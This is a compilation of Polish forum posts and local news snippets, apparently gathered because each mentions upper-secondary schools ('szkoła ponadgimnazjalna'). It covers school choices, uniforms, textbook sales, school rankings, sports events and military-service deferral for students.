2. ...klasa hiszpańska czteroletnia. W zerowym roku nauki masz tylko 18 godzin hiszpańskiego + chyba 2 polskiego i 2 wfu, a w klasach 1, 2 i 3 lekcje prowadzone są już po hiszpańsku. Fajniuchne to musi być. Dodatkowo - o ile się tam dostanę - chcę robić dalej program języka niemieckiego oczywiście, tak więc po liceum miałabym już dyplomy (coś jak matura w tamtych krajach) z dwóch języków: niemieckiego i hiszpańskiego.

Hmmm, może wydaje się to straszne... Większość osób, które znają moje plany, puka się w głowę i po prostu twierdzi, żem szalona, ja jednak stoję przy swoim i wiem, że jak chcę, to mogę No, zwłaszcza, że języki są jedyną rzeczą, jaka mi w życiu wychodzi

Pierwszaki-->próbuja zawładnąć szkoła

Stary problem w każdej szkole. Nawet w LO dziewczyny nie mogą (jakieś wyjątki są, ale to lekko). Co do samych komsetyków, to nic ogólnie nie mam. Naprawdę miło się patrzy jeżeli jakaś dziewczyna ma delikatne (sic!) wspomaganie. Trzeba jednak znać granice smaku. No i mówie oczywiście o trochę starszych dziewczynach (szkoła ponadgimnazjalna).

W mundurku czy bez?

Super! U nas mundurki będą już po feriach. Wszyscy tak się cieszą. Dobrze, że mnie to nie dotyczy, bo ja już szkoła ponadgimnazjalna Chociaż Giertych tak powiedział o tych mundurkach, że wszystkie szkoły na Podhalu...
Co do samych mundurków:
a) trzeba mieć z kilka kompletów (na co najmniej 2 sztuki), bo jeden może się pobrudzić, inny prześmierdnąć
b) jakby sami uczniowie "zaprojektowali" mundurki to jeszcze ok, bo jeżeli mają być regionalne akcenty - tj. parzenice itp. to już widzę ile u nas osób w tym będzie chodzić
c) mają niby zmniejszyć podział klasowy. Przecież ktoś bardziej zamożniejszy to i tak będzie latał po korytarzach w komórą w łapie i mp3 oraz chyba już się na tyle osoby znają, że wiadomo kogo stać na nowego kompa, a innych nawet na drugie śniadanie.
Podsumowując: w szkołach powinny być głosowania (uczniowie i ich rodzice), czy chcą by w szkole były mundurki, a nie narzucać im z góry, ze tak ma być, a nie inaczej

Ja jestem i tak na NIE!

Hala sportowa sie rozpada!!!

Jermak może i jestem głupszy od Ciebie co wielokrotnie powtarzasz ale nie wymądzrzam się tak jak Ty w tematach o których nie mam bladego pojęcia . Temat boiska w Kaliszu podałem jako przykład . Następny przykładzik proszę bardzo . Oto kwiatek w wykonaniu elokwentnego jermaka który przysłał mi na priv gdy po jego siarczystej krytyce burmistrza dotyczącej braku zainteresowania szkolnictwem spytałem co Ptak mógłby zrobić jermak napisał mi tak:
"Znasz aawodowke Drawska - do dzisiaj ksztalca tokarzy, slusarzy itd... a mozna byloby pare zl wydac na zmiane profilu tej szkoly i absolwenci zamiast stac sie bezrobotnymi znajdywali by robote, ilu sbsolwentow drawskich szkol mowi jakims jezykiem po zakonczeniu edukacji - tu tez jest pole do popisu."

Na podstawie tej i kilku innych wypowiedzi wyrobiłem sobie na temat jermaka swoje zdanie. A dlaczego ?
Drogi jermaku
Otóż nawet ja sędziujący w Kaliszu(czego się wcale drogi jermaku nie wstydze a zdaje się że według Ciebie powinienem) wielce światowy latający między Rio a Londynem jermaku wiem że zawodówka jest szkołą ponadgimnazjalną, a nadzór nad tymi szkółami sprawuje Powiat a nie Gmina więc burmistrzowi nic do tych szkół. I takich kwiatków w twoich postach i wypowiedziach znalazłem wiele dlatego z tak dużym dystansem podchodzę do Tych postów i pytam o konkrety by wiedziec czy faktycznie masz jakąś wiedzę w tym temacie czy dalej zyjesz malym świecie niemającym rzadnego odzwierciedlenia w rzeczywistości.

A jermak jesli masz coś do Kalisza i całej nienormalnej Polski to moze osiądziesz na stałe w Brazylii. Tam też jest już 1 Ptak z Polski niejaki Antoni. Mam wrażenie że szybko znaleźlibyście wspólny język

SPRZEDAM KSIĄŻKI

1) Nowa matura. Język angielski (2 płyty)
Autor: Marzena Grzegorczyk
ParkEdukacja - Nauka bez tajemnic
Oprawa: Miękka
Data wydania: 2007-10-10
2) Podstawy przedsiębiorczości Podręcznik (płyta)
Zakres podstawowy
Makieła Zbigniew, Rachwał Tomasz
3) Język polski, Barwy epok. Kultura i literatura. Romantyzm - Młoda Polska - podręcznik, część 2, szkoła ponadgimnazjalna, zakres podstawowy i rozszerzony
Witold Bobiński, Anna Janus-Sitarz, Bogusław Kołcz
Wydawnictwa Szkolne i Pedagogiczne - WSiP
4) Język polski, barwy epok - nauka o języku - podręcznik, część 2, szkoła ponadgimnazjalna
Jadwiga Kowalikowa
Wydawnictwa Szkolne i Pedagogiczne - WSiP
5) Język niemiecki. Matura na 100%. Repetytorium
Autor: D. Kin, A. Krasicki
Seria: Matura na 100%
Wydawca: Szkolne PWN
6) Język polski. Barwy epok. Kultura i literatura - podręcznik, klasa 3, szkoła ponadgimnazjalna
Witold Bobiński, Anna Janus-Sitarz, Bogusław Kołcz
Wydawnictwa Szkolne i Pedagogiczne - WSiP

Zainteresowanych proszę najpierw o odzew na forum. Pozdrawiam

rusztowanie

miłaD - przepraszam ze wyrazenie,ale pierdolisz ze az glowa boli...

Czasy gdy na budowie sie nic nie robilo bo lekko kropnal deszczyk, albo ze bylo zimno juz dawno minely. Swiat poszedl do przodu i sklad roznych materialow ulegl sporej zmianie i wlasnie dlatego teraz juz nie ma takich problemow na budowie.

Pieniądze na ta akurat szkole jako ze jest to szkola ponadgimnazjalna pochodza z funduszy powiatu, wiec jednak za opierdalanie sie tych ludzi placimy my...

córka nauczycieli

w podstawówce do jednej klasy chodziłam z taką dziewczyną, które mama była
nauczycielką w jednym z najlepszych LO w moim mieście...
Potocznie nazywając M. (koleżanka) była kujonem, ale jej w ogóle nauka łatwiej się
przyswajała. Miała same 5 i 6, jak jej się trafiło 4. to była niezadowolona
i łzy cisnęły jej się do oczu...
W każdym bądź razie kiedyś pisaliśmy jakiś sprawdzian, i jej on nie poszedł
- dostała chyba 3 i od razu się rozpłakała.
Większość osób wtedy dostała dobre oceny. Mama owej koleżanki jak się dowiedziała
od córki o jej ocenie to przyszła do nauczycielki i wręcz zażądała by ta,
sprawdzian nam powtórzyła... Sprawdzian został powtórzony,
i tym razem większość klasy dostała słabsze oceny, a M. dostała 5...
Po podstawówce M. musiała pójść do jednego z najlepszych gimnazjum, a po gimnazjum,
poszła do LO w którym uczyła jej mama, które też ukończyła bardzo dobrze...
Na pewno jakimś plusem jest mieć rodzica nauczycielem, bo jak się czegoś nie umie,
nie rozumie - to wytłumaczy...
Wydaje mi się, że jednak jakiś plus jest takiego kazania skończenia najlepszych szkół
- plus na przyszłość, aczkolwiek uważam, że każdy sam powinien decydować
o swoim życiu, wybór gimnazjum to tam jeszcze może ujdzie,
ale liceum tudzież inna szkoła ponadgimnazjalna powinna być własnym wyborem.

córka nauczycieli

Cytat:Po podstawówce M. musiała pójść do jednego z najlepszych gimnazjum


mi takie "najlepsze gimnazjum" totalnie zniszczyło psychikę. mieściło się ono w jednym budynku z liceum, i niektórzy nauczyciele uczyli i w gimnazjum, i w liceum. teraz zmieniłam szkołę na "prawie najlepszą" i czuję się w niej o niebo lepiej chwalę siebie do tej pory za to, że nie zostałam w tamtej szkole.

Cytat:Na pewno jakimś plusem jest mieć rodzica nauczycielem, bo jak się czegoś nie umie, nie rozumie - to wytłumaczy...


moja mamuśka jest polonistką i za bardzo nie ma czego mi tłumaczyć, jak ją o coś proszę, to zawsze mnie zarzuci książkami i "szukaj sobie"... i lektur też mi nie chce streszczać, ale to raczej zrozumiałe ;p

Cytat:uważam, że każdy sam powinien decydować o swoim życiu, wybór gimnazjum to tam jeszcze może ujdzie, ale liceum tudzież inna szkoła ponadgimnazjalna powinna być własnym wyborem.


ja sama sobie wybierałam i gimnazjum, i liceum, ale rodzice do końca nie byli zadowoleni, że nie zostałam w tej samej szkole, co było gimnazjum. nic nie mówili, ale było to po nich widać.

Streetball 2009

Tegorocznemu zgorzeleckiemu festiwalowi koszykówki ulicznej przyświecało hasło „Baw się z nami w naszym mieście". I trzeba przyznać, że okazji do zabawy nie brakowało, a i pogoda okazała się łaskawa zapewniając wszystkim amatorom ulicznego basketu słońce i umiarkowaną temperaturę.

Organizatorem święta ulicznej koszykówki w Zgorzelcu był, tradycyjnie już, Uczniowski Klub Sportowy „Basket", wspierany przez burmistrza miasta Rafała Gronicza.

W tegorocznych rozgrywkach, które odbyły się w dniach 13-14 czerwca, wzięło udział nie mniej liczne niż zwykle grono zawodników. Jak zawsze na boiskach przy ul. Warszawskiej rywalizowały ze sobą 4-osobowe drużyny (3 graczy na boisku) zgłaszane do turnieju w kategoriach: szkoła podstawowa, gimnazjum, szkoła ponadgimnazjalna i open.
Podobnie jak w poprzednich latach uczestnicy dawali z siebie wszystko dopingowani przez liczną zgorzelecką publiczność. Rozegrano wiele ciekawych spotkań oraz zwyczajowe przy tej okazji konkursy wsadów i żonglerki. W niedzielne południe na boisku centralnym pojawiły się także drużyny zgorzeleckich VIP-ów reprezentujących Urząd Miasta, Przedsiębiorców (ubranych dla niepoznaki w koszulki z napisem Starostwo Powiatowe), Nauczycieli i kadrę KS Turów.
Zmaganiom pod koszem towarzyszyły występy dziewczyn z grupy Inna Show, które w przerwach umilały czas tak zawodnikom, jak kibicom.

Na podstawie: http://www.gazetaregionalna.pl

Szkoła ponadgimnazjalna

Jestem w 3 klasie gimnazjum i wiem już do jakiej szkoły pójdę a raczej zespołu szkół i tu jest problem bo jest ich kilka:
Technikum Samochodowe na podbudowie gimnazjum

Zawód: - technik mechanik - specjalizacja: obsługa i naprawa pojazdów samochodowych

- technik pojazdów samochodowych

nauka trwa 4 lata

Zasadnicza Szkoła Zawodowa Nr 9 na podbudowie gimnazjum

Zawód: - mechanik pojazdów samochodowych

- elektromechanik pojazdów samochodowych

nauka trwa 3 lata

VIII Liceum Profilowane na podbudowie gimnazjum

profile: -mechatroniczny

-mechaniczne techniki wytwarzania

nauka trwa 3 lata

Najbardziej mnie interesuje elektromechanika ale to zawodówka co zrobić??

[OLD] Grafik na portal.

Szkola zawodowa to jest szkola ponadgimnazjalna wiec z jakiej racji kostek sciamniaczu gimnazjum jest wyzsza szkola ?? a Po drugie to ja na pewno nie zaprzestaje na Szkole zawodowej ... po zawodowej 2 letnie technikum . Lącznie 3 zawody . Kucharz , Barman , kelner. Moim zdaniem zawody poplacalne i mozna znalesc prace czyli kostek mowisz ze ty nie skonczyles gimnazjum ? Jezeli dla ciebie gim jest wyzsze to czyli skonczyles Gim i nic ?

szkoła ponadgimnazjalna

Właśnie kończę gimnazjum i już najwyższy czas, żebym wybrała trzy szkoły i złożyła podanie. i właśnie chciałam, żebyście mi wytłumaczyli czym zajmuje się technk ekonomista, ale tak '' po polsku '' xD bo w interencie juz czytałąm i za dużo z tego nie rozumiem,

podobno ekonomista to same rachunkowości itd..
Czy powinnam isc do takiej szkoły skoro z matamtyki nic nie rozumiem i ledwo mam na koniec ocenę dopuszczającą. ?

piszcze szybko.. czekam !

Jest PROJEKT NOWEJ PODSTAWY PROGRAMOWEJ !!!

UKAZAŁ SIĘ 25 MARCA 2005 ROKU PROJEKT - DRUGI - NOWEJ PODSTAWY PROGRAMOWEJ. Mamy więc o czym dyskutować! GIMNAZJUM - LICEUM (SZKOŁA PONADGIMNAZJALNA). W połączeniu z artykułem (nie publikowanymw "Rzeczypospolitej") p. prof. Konarzewskiego wiele stało się jasne.
Teraz pora na wnikliwą analizę projektu. Każdy z nas w swojej dziedzinie może zająć stanowisko - mamy szansę wpłynąć na ostateczny kształt projektu (zapewniają o tym autorzy).
Jest tylko jedno ALE: nie do końca czerwca, jak wcześniej mówiono, ale do 15 maja.
To tylko sześć tygodni!
W okresie, gdy w szkole jest zakończenie zajęć edukacyjnych w ostatniej klasie (maturalnej) i przygotowania oraz samo przeprowadzanie matury.
Nie wróży to dobrze "szerokiej konsultacji społecznej".
Ale według słów p. prof. Konarzewskiego cały przyszły rok szkolny ma być przeznaczony na konsultacje.
Póki co - nie dajmy sobie narzucić projektu, którego nie znamy.
PAMIĘTAJMY: NIC O NAS - BEZ NAS!!!
jk

Test Gimnazjalny

Na dzień dzisiejszy mają znaczenie testy:
- humanistyczny
- matematyczno - przyrodniczy

Egzamin z j. angielskiego pisze się tylko w celu sprawdzenia swojej wiedzy, lecz za 2 lata ma być już tak, że ten test też będzie się brało pod uwagę.

Każda szkoła ponadgimnazjalna ma jakieś minima punktowe.

Upośledzenie umiarkowaane, a szkoła ponadgimnazjalna

Chciałabym zapytać czy wiecie czy osoby upośledzone umiarkowanie mogą skończyć normalną szołę zawodową, czy muszą koniecznie znależć się po gimnazjum w jakimś ośrodku dla osób niepełnosprawnych, czy wogule kończą edukację na gimnazjum. Bardzo proszę osoby, które się orientują o pomoc!

coś dla maturzystów zdających historie - kilka atlasów NOWE

Sprzedam atlasy historyczne - zeszyty ćwiczeń:

1. Włodzimierz Chybowski "Historia Szkoła Ponadgimnazjalna" cz. 1 - zeszyt do ćwiczeń na mapach konturowych starożytność i średniowecze
2. Włodzimierz Chybowski "Historia Szkoła Ponadgimnazjalna" cz. 2 - zeszyt do ćwiczeń na mapach konturowych wiek XVI - XIX
3. Julia Tazbir "Atlas Historyczny" - od starożytności do współczesności
4. Elżbieta Olczak "Historia" - zeszyt ćwiczeń na mapach konturowych Liceum.

Więcej informacji pod nr gg 4420550

Skandal!!

Cytat:A czy przypadkiem w regulaminie nie jest zapisane, że każdy, kto jeĽdzi na bilecie ulgowym powinien posiadać przy sobie dokument stwierdzający, że mu przysługuje ta ulga?
Skąd mógł wiedzieć czy się uczysz? Niektórzy w Twoim wieku się nie uczą. Liceum czy inna szkoła ponadgimnazjalna obowiązkowe nie są. A z tego co widzę, gimnazjum już chyba skończyłeś, skoro masz 16 lat?
Myślę, że warto by się zapoznać dokładniej komu i za co przysługują ulgi to się wtedy sprawa rozjaśni Bo to, że masz 16 lat o niczym jeszcze nie świadczy



Super. Dołożyłaś burakowi.

Ogólniaki, raz jeszcze

Argument "nie wszyscy muszą iść na studia" jest poniżej krytyki !!! Pewnie, że nie muszą, ale może chcą !!! Nie dyskredytuję techników bo i wśród nich są takie, które zasługują na olbrzymią chwałę jednak konia z rzędęm temu kt - z ręką na sercu - wiedział kim chce być w wieku 16 lat. To są wyjątki !!! Albo tradycje rodzinne. Najlepszą szkołą ponadgimnazjalną dla 16-latka jest ogólniak i nie ma argumentów wskazujących, że jest inaczej !!! Chcę Wam powiedzieć, że po skończeniu ogólniaka właśnie studiowałem elektronikę. Razem było oczywiście wielu absolwentów Techników Elektronicznych !!! Lepiej dawali sobie radę na tych studiach właśnie absolwenci ogólniaków. I nie jest to dziwne. Inaczej kształci się technika (trywializując - ma wiedzieć co zrobić żeby działało i jak naprawić !!!) a inaczej inżyniera (jak to zaprojektować, jaki nowy element wykonać !!!) Absolweci techników mają już pewne nawyki i umiejętności które przeszkadzają w studiach.
Tak więc cała ta dyskusja jest o tyle bez sensu, że już dawno wykazano iż szkoły ogólnokształcące są lepiej przygotowującymi do późniejszych wyborów dróg zawodowych !!!

Szkoły na top liście

Szkoły na top liście

Trzydzieści placówek z województwa łódzkiego znalazło się w rankingu najlepszych szkół ponadgimnazjalnych, publikowanym od pięciu lat w czasopiśmie "Perspektywy" i "Rzeczpospolitej". Najwyżej, na 4. pozycji w Polsce, ulokował się "Koper" - czyli I Liceum Ogólnokształcące w Łodzi im. Mikołaja Kopernika.

Ranking układany jest na podstawie liczby laureatów i finalistów olimpiad przedmiotowych w danej szkole. Pod uwagę twórcy rankingu biorą szkoły, które dorobiły się co najmniej dwóch laureatów lub finalistów w ubiegłym roku szkolnym. Takich placówek jest w Polsce 384. Łódzkie I LO z 23 laureatami i 18 finalistami utrzymało pozycję sprzed roku - w 2004 i 2005 r. wspięło się nawet na pozycję drugą.

Według rankingu, najlepsza szkoła ponadgimnazjalna w Polsce to od sześciu lat XIII LO w Szczecinie. Ma 23 laureatów i 38 finalistów.

W pierwszej setce nasze województwo ma pięciu reprezentantów. Za "Koprem" - na 36 pozycji znalazło się I LO z Łowicza im. Józefa Chełmońskiego. Na 62 miejscu w rankingu jest LO im. Bolesława Prusa w Skierniewicach, lokatę niżej Zespół Szkół nr 1 w Wieluniu. Na 84 pozycji uplasowało się Klasyczne LO im. ks. Stanisława Konarskiego w Skierniewicach.

Docenione szkoły w drugiej setce rankingu to w naszym regionie II LO im. Stefana Żeromskiego w Tomaszowie Mazowieckim, IV LO im. Emilii Szczanieckiej w Łodzi, I LO im. Kazmierza Jagiellończyka w Sieradzu, XIII LO im. Marii Piotrowiczowej w Łodzi, XXI LO im. Bolesława Prusa w Łodzi, ZSP im. J. Dziubińskiej w Zduńskiej Dąbrowie, VIII LO im. A. Asnyka w Łodzi i XXXII LO im. H. Poświatowskiej w Łodzi oraz Samorządowe LO w Opocznie.
Maciej Kałach - POLSKA Dziennik Łódzki
http://wielun.naszemiasto...nia/944524.html

Korepetycje

Ja mogę z Informatyki (szeroki zakres ale początki, wszystko zależy co). Matematyka - poziom gimnazjum, szkoła ponadgimnazjalna.

Instrukcja P.poż.

Cytat:czy ktos z was moglby mi udostepnic przykladowa instrukcje dla szkoly, oczywiscie moje bedzie dostosowana dla potrzeb szkoły bo jest to szkoła ponadgimnazjalna zawodowa



Ale wymyśliłeś. To nie o nazwę chodzi ino o budynek (konkretny)

Jak zostać sędzią?

Ukończenie Liceum daje wykształcenie średnie bez względu na to czy zdało się mature czy nie. Na świadectwie ukończenia Liceum jest adnotacja że dokument ten potwierdza zdobycie wykształcenia średniego. I dodam jeszcze że jest to szkoła ponadgimnazjalna, nie ponadpodstawowa.

Sprzedaż książęk

Chyba każda szkoła ponadgimnazjalna organizuje kiermasz używanych podręczników we wrześniu.

technikum !!

Cytat: Uważam, że w technikum jest o wiele trudniej bo pomimo zwykłych przedmiotów typu matma, historia, polski, geografia, fizyka itd. Masz jeszcze przedmioty zawodowe.


Przedmioty zawodowe z tego co się orientuję (czyli w technikach na profilu elektronicznym) są stosunkowo proste przynajmniej kumpel mi mówił, że przerobiliśmy je 6 godzin wykładów na studiach, natomiast te przedmioty zwykłe w większości przypadków są na dennym poziomie (np. matma).

Nie neguję możliwości istnienia porządnych techników, ale to raczej wyjątki potwierdzające regułę.

Cytat:Uważam, że technikum to jest szkoła z przyszłością bo jak je skończysz to masz już jakiś tytuł (technika czegoś-tam). A po liceum? NIC.


Dla osób które na szkole pogimnazjalnej chcą zakończyć edukację to rzeczywiście niezłe wyjście, dla tych co planują potem iść na studia na których trzeba się czegoś bardziej pouczyć lepszym wyjściem jest LO.

Co z tego, że technik elektronik już wie, jak obsłużyć oscyloskop, skoro nie ma praktycznie szans na zaliczenie pierwszego semestru bo nie umie matmy ani fizyki?
(Sytuacja autentyczna, u mnie na Elektronice i Telekomunikacji ludzie po technika w większości nie utrzymują się na tyle długo, żeby mieć jakiś pożytek z nabytych już podstaw elektroniki.

Cytat:sama chodzę to technikum i to jest obraźliwe co piszesz. nie wiem na jakiej podstawie takie masz wnioski o ludziach którzy mogą chodzić do klasy z tą dziewczyną.



Na podstawie rzeczywistości, a rzeczywistość zwykle wyglada tak:
Nie dostanie się do dobrego LO, to składa papiery do średniego LO, nie dostanie się do średniego LO to składa papiery do Technikum, albo do słabego LO, nie dostanie się nigdzie to idzie do Liceum Profilowanego.

Przynajmniej tak wygląda standardowa sytuacja w Toruniu i z tego co wiem w Trójmieście. Może gdzieś są te super duper Technika gdzie idą ambitni młodzi ludzie żądni wiedzy, tylko po prostu jak ich nie spotykam.

Jeśli chodzi o samo zdanie matury to żeby się nauczyć to żadna szkoła ponadgimnazjalna nie jest potrzebna. Zdać maturę podstawową przy odrobinie pracy każdy debil potrafi.

szkoła ponadgimnazjalna

Czy moze ktoś wie czy z przeciętnymi ocenami(przewaznie 3) dostane się do technikum hotelarskiego?? wiem ze tam sie liczy angielski a z angielskiego mam 3:/ (jct. jestem z rudy Śląskiej) moze ktos mi jeszcze poda propozycje szkół??

Co jest gorsze?

Steaua Bukareszt

gimnazjum - szkoła ponadgimnazjalna

Co jest gorsze?

Szkoła Ponadgimnazjalna

Nad Niemnem czy Pan Tadeusz ??

Komentarze, uwagi, polemiki...

MoD: wydaje mi się, że instytut jest szkołą ponadgimnazjalną. W szczególności zaliczenie tego seminarium zdaje się nas dotyczyć... :P

Odroczenia od zasadniczej służby wojskowej

Witam wszystkich

Z gory wielkie sorry jeśli temat się już trafil…

Opisze moja sytuacje. Studiowalem, ale zrezygnowalem. Przyczyny sa nieistotne. Zapisalem się do szkoly policealnej profesja. Dostalem list od wku, że chca mnie powolac. Zabralem zaswiadczenie z profesji i pojechalem do nich (był to luty lub marzec br – nie pamietam już dokladnie). Babka bez problemu mnie odroczyla, zapytala tylko co ze studiami, a ja na to ze na razie się wstrzymalem. Ok. bezproblemowo się udalo. Teraz nadszedl wrzesien i zapewne wkrotce będą mnie znow scigac. Dlatego chce ich ubiec i w weekend ide po zaswiadczenie (semestru nie zaliczylem , ale powtarzam go na tym samym kierunku) do profesji, a w poniedziałek uderzyc do wku się odrozczyc. Teraz nasuwa się pytanie:

Mam ukonczone 22 lata. Czy w WKU nie zbulwersuje ich fakt, ze znowu daje im zaswiadczenie (oczywiście o pobieraniu nauki) z policealki (i to znow na tym samym semestrze co przed wakacjami) drugi raz pod rzad?? Na 90% będą myslec ze chce uniknac sluzby, ze sciemniam i takie inne podobne im madrosci. Pytanie koncowe:

Czy musza/maja obowiazek mnie odroczyc??
Bylbym rownoczesnie wdzieczny za podanie mi linka do tresci odpowiedniego rozporzadzenia, bo nie wiem czy to
http://www.wku.szczecinek...e_odroczen.html
jest adekwatne do mojej sytuacji??
Szkola ponadgimnazjalna=szkola policealna ?? jeśli tak to nie do konca rozumiem ten zapis:

„§ 5. 1. We wniosku o udzielenie odroczenia zasadniczej służby wojskowej ze względu na pobieranie nauki w szkole wyższej, w zakładzie kształcenia nauczycieli lub w szkole ponadgimnazjalnej, a do dnia 31 sierpnia 2008 r. także w szkole ponadpodstawowej, zamieszcza się:
[...]
5. W przypadku poborowego pobierającego naukę w szkole ponadgimnazjalnej, a do dnia 31 sierpnia 2008 r. także w szkole ponadpodstawowej, obowiązek przedstawienia zaświadczenia, o którym mowa w art. 39 ust. 7 ustawy, uważa się za spełniony po okazaniu przez poborowego świadectwa szkolnego z wpisem o zaliczeniu (zdaniu) roku (semestru) nauki oraz legitymacji szkolnej z wpisem o rozpoczęciu nauki w kolejnym roku (semestrze).”

O co chodzi z tym swiadectwem?!? Nie mam zadnego . Legitymacje oczywiście przedluzona mam. I jakie mogę stosowac argumenty jeśli powiedza – nie odroczymy cie !!

Dzieki
araneus

Odroczenia od zasadniczej służby wojskowej

-Szkoła ponadgimnazjalna to też szkoła policealna.
-Wiek nie ma żadnego wpływu na możliwośc otrzymania odroczenia. Kiedyś były takie ograniczenia ale się zbyły.
W tym czy należy Ci się odroczenie czy nie, istotny jest jedynie fakt, czy w danej chwili jesteś uczniem i pobierasz naukę a co za tym idzie, czy posiadasz odpowiednie zaświadcznie.
Z tym okazywanie świadectwa to Ciebie nie dotyczy. Chodzi tu o szkoły średnie (zwane tu ponagimnazjalnymi (w których z roku na rok dostaje się świadectw i one mogą być podstawą do udzielenia odrocznie. W szkołach policelanych 2 letnich (które też są szkołami policealnymi) nie dostaje się takich świadectw. Trzeba więc przedstawić zaświadczenie z sekretariatu.

Warto przypomnieć ten zapis:
Cytat:Art. 39. 1. . Odroczenia zasadniczej służby wojskowej udziela się poborowemu na jego udokumentowany wniosek ze względu na:

Brak wniosku może być podstwą nie udzelenia odroczenia, mimo posiadania odpowiedniego zaświadczenia. W praktyce mało kto ten wniosek składa i kończy się jednynie na złożeniu zaświadczenia.
Wniosek wygląda tak --> WNIOSEK

Na temat odmowy udzielenia odroczenia istnieje taki zapis:
Cytat:Art. 42. 1. Orzekanie o udzieleniu poborowym odroczeń zasadniczej służby wojskowej należy do wojskowych komendantów uzupełnień.

1a. Decyzję o udzieleniu odroczenia można ogłosić ustnie, z zastrzeżeniem ust. 2. W takim przypadku potwierdzenia wydanej decyzji administracyjnej dokonuje się w formie wpisu lub zamieszczenia danych w wojskowym dokumencie osobistym poborowego i przez wprowadzenie danych do ewidencji wojskowej.

2. Odmowa udzielenia odroczenia lub udzielenie odroczenia w treści innej niż żądanie poborowego, określone w jego wniosku o udzielenie tego odroczenia, a także udzielanie odroczeń, o których mowa w art. 39 ust. 3, następuje w drodze decyzji administracyjnej, którą doręcza się poborowemu na piśmie wraz z uzasadnieniem.";



Według prawa aby otrzymać odroczenie ze względu na naukę musisz posiadać dwie rzeczy:
1. Wniosek o udzielenie odroczenia.
1. Zaświadczenie że w tej chwili jesteś uczniemstudentem a nie że będziesz nim za jakiś czas.

Jeżeli mimo to WKU odmawia udzielenia odroczenia wówczas żądasz pisemnej odmowy wraz z uzasadnieniem. Powinny się w niej znaleźć odpowiednie przepisy prawa które uniemożliwiją odroczenie. Jeśli takie WKU znajdzie, a nie znajdzie.

Przetarg autobusowy

Cytat:Ktokolwiek za rok w kampanii wyborczej obieca renegocjacje umowy z warbusem lub wprowadzenie konkurencji tak by było 70 kursów dziennie, ma wygraną w kieszeni. W takim mieście jak MG komunikacja to podstawa. Można zacząć twierdzić że obecnej ekipie rządzącej nawet nie przyszło to do głowy...



Hmm. Tak jak do pierwszej części Twojej wypowiedzi nie można się odnieść negatywnie, tak trzecie zdanie ma się nijak do faktów. Nie wiem od jak dawna interesujesz się tym tematem, ale wiedz że to właśnie TA EKIPA RZĄDZĄCA na początku swojej kariery postawiła sobie jako główne cele nadrzędne rozwój infrastruktury oświatowej oraz sprawną komunikację publiczną do Poznania, czyniąc tym w środowisku konkurencyjnych ekip politycznych opinię wrogów publicznych nr 1, którzy chcą pieniądze gminy na takie bzdety wydawać. Minęło parę kadencji. od dawna funkcjonuje powołana wówczas szkoła ponadgimnazjalna. Wybudowane zostało od podstaw i dalej się rozbudowuje Gimnazjum nr 1. Funkcjonuje dotowana przez gminę komunikacja. W wyniku przeprowadzanych kolejnych przetargów mamy w tej chwili już trzeciego przewoźnika. Co roku ilość oferowanych połączeń jest większa. Czy to wystarcza? Na pewno nie. Czy warunki wynegocjowane przez gminę są zadowalające? Z pewnością można mieć wiele do życzenia. Ale wystarczy zainteresować się ilu chętnych "biło się" w kolejnych przetargach o ten "intratny" kontrakt i jakie oferowali warunki mamy odpowiedź dlaczego jest tak jak jest.

Oczywiście dużo czasu minęło od początków historii z komunikacją i wielu faktów się nie pamięta, więc czemu nie "zacząć twierdzić że obecnej ekipie rządzącej nawet nie przyszło to do głowy"

Skojarzenia

Liceum --> szkoła ponadgimnazjalna

szkoła ponadgimnazjalna

jeden z kandydatów w programie ma utworzenie szkoły ponadgimnazjalnej . mam pytanie jakiej i ilu oddziałowej? z tego co wiem temat był przerabiany i brak podstaw do utworzenia takiej szkoły u nas (mała liczba chętnych) .a może ktoś ma inne zdanie

Liceum

do jakiego sie wybieracie?
i w ogole jaki macie wybor? tzn ile szkol jest "kolo" was?

ja ide do 2 LO w Poznaniu - 2 szkola ponadgimnazjalna w Poznaniu wedlug rankingu Gazety Wyborczej.
licze kolo 160 pkt, wiec powinnam sie dostac...
bedzie si!

:*

Run4Fun - Gdynia no. 1

Cytat: jest jakieś ograniczenie wiekowe?



z tego co pamiętam to do biegów głównych 16 lat
a w biegach młodzieżowych w zależności do jakiej szkoły uczęszczasz (podstawówka, gimnazjum, szkoła ponadgimnazjalna)

XIX Bieg Lwa Legnickiego

już znalazłem:

• XIX Bieg Lwa Legnickiego
21 października 2006 – Park Miejski

Ośrodek Sportu i Rekreacji zaprasza wszystkich miłośników biegania na dziewiętnastą edycję „Biegu Lwa Legnickiego”, która odbędzie się 21 października 2006r.
Rywalizacja prowadzona będzie w Parku Miejskim i jego najbliższych okolicach. Start oraz metę biegu zaplanowano na Alei Orła Białego obok skate parku.
Biegi młodzieżowe rozpoczną się o godz. 11.00 i przeprowadzone będą w następujących kategoriach wiekowych:
• dziewczęta, chłopcy - szkoła podstawowa kl. I – II dystans 600m
• dziewczęta, chłopcy - szkoła podstawowa kl. III – IV dystans 600/ 800m
• dziewczęta, chłopcy - szkoła podstawowa kl. V – VI dystans 800/1000m
• dziewczęta, chłopcy – gimnazjum kl. I – II dystans 1000/1200m
• dziewczęta, chłopcy – gimnazjum kl. III dystans 1200/1500m
• dziewczęta, chłopcy – szkoła ponadgimnazjalna dystans 1500/ 2000m
Natomiast tegoroczny bieg główny odbędzie się na dystansach: 15 km mężczyźni
i 4 km kobiety, w kategoriach:
• 20 – 29 lat
• 30 – 39 lat,
• 40 – 49 lat,
• 50 - 59 lat,
• pow. 60 lat
• niepełnosprawni na wózkach inwalidzkich
Start do biegu głównego zaplanowano na godz.13.00
Zapisy do biegu przyjmowane są w siedzibie OSiR, ul. N.M.P.7 do dnia 20.10 lub przed biegiem w biurze zawodów od 900 do 1030. Uczestnictwo w biegu dla dzieci i młodzieży szkolnej jest bezpłatne, natomiast pozostali uiszczają wpisowe w wysokości 5zł.
Dla najlepszych biegaczy OSiR przygotował nagrody:
- medale za miejsca I-III we wszystkich kategoriach wiekowych
- finansowe za I miejsca w kategoriach biegu głównego ( 500 zł mężczyźni, 300 zł kobiety)
W tym roku wyróżniona zostanie również szkoła, która będzie najliczniej reprezentowana - otrzyma w nagrodę bon na zakup sprzętu o wartości 1000 zł.
Wszystkim uczestnikom organizator zapewnia ciepły poczęstunek oraz napoje.
W ubiegłorocznym Biegu Lwa Legnickiego zwyciężyli:
- w biegach młodzieżowych: Katarzyna Biskup(Lubin), Grzegorz Hościło, Maja Piotrowska,
Filip Fonał, Natalia Przykucka, Eryk Toawrnicki, Beata Schabińska, Oskar Pelecki
(Dobrzejów), Joanna Mrozkowiak (Głogów), Michał Gałka, Agata Kubiak (Głogów), Piotr
Chojnacki (Złotoryja)
